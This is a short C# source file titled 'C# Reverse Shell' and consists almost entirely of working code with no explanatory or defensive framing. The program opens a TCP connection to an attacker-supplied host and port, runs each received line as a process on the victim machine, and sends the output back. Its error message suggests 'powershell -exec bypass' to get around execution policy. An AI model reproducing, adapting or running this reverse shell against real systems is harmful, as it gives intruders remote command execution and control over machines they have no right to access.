C# Reverse Shell

reverse.cs

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
{
	public class Program
	{
		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient(args[0], int.Parse(args[1])))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						while(true)
						{
							string cmd = rdr.ReadLine();

							if(string.IsNullOrEmpty(cmd))
							{
								rdr.Close();
								stream.Close();
								client.Close();
								return;
							}
							if(string.IsNullOrWhiteSpace(cmd))
								continue;

							string[] split = cmd.Trim().Split(' ');
							string filename = split.First();
							string arg = string.Join(" ", split.Skip(1));

							//Console.WriteLine("filename: {0}", filename);
							//Console.WriteLine("Args: {0}", arg);

							try
							{
								Process prc = new Process();
								prc.StartInfo = new ProcessStartInfo();
								prc.StartInfo.FileName = filename;
								prc.StartInfo.Arguments = arg;
								prc.StartInfo.UseShellExecute = false;
								prc.StartInfo.RedirectStandardOutput = true;
								prc.Start();
								prc.StandardOutput.BaseStream.CopyTo(stream);
								prc.WaitForExit();
							} catch (Exception e){
								//Console.WriteLine("{0} Exception caught.", e);
								string error = "Command not found. Possible shell builtin? Try running 'powershell -exec bypass " + cmd + "'\n";
								byte[] errorBytes = Encoding.ASCII.GetBytes(error);
								stream.Write(errorBytes, 0, errorBytes.Length);
							}
						}
					}
				}
			}
		}
	}
}